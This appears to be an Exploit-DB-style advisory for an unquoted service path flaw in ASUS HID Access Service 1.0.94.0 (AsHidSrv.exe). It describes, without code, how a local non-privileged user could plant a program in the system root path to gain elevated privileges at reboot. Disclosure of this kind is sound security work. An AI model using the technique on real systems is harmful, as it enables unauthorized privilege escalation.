• # Exploit Title: ASUS HID Access Service 1.0.94.0 - 'AsHidSrv.exe' Unquoted Service Path
  # Date: 2020-05-19
  # Exploit Author: Alejandra Sánchez
  # Vendor Homepage: www.asus.com
  # Version: 1.0.94.0
  # Tested on: Windows 10 Pro x64 es
  
  # Description:
  ATK Hotkey 1.0.94.0 suffers from an unquoted search path issue impacting the service 'AsHidService'. This could potentially allow an 
  authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
  the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
  potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
  of the application.
  
  # Prerequisites
  Local, Non-privileged Local User with restart capabilities
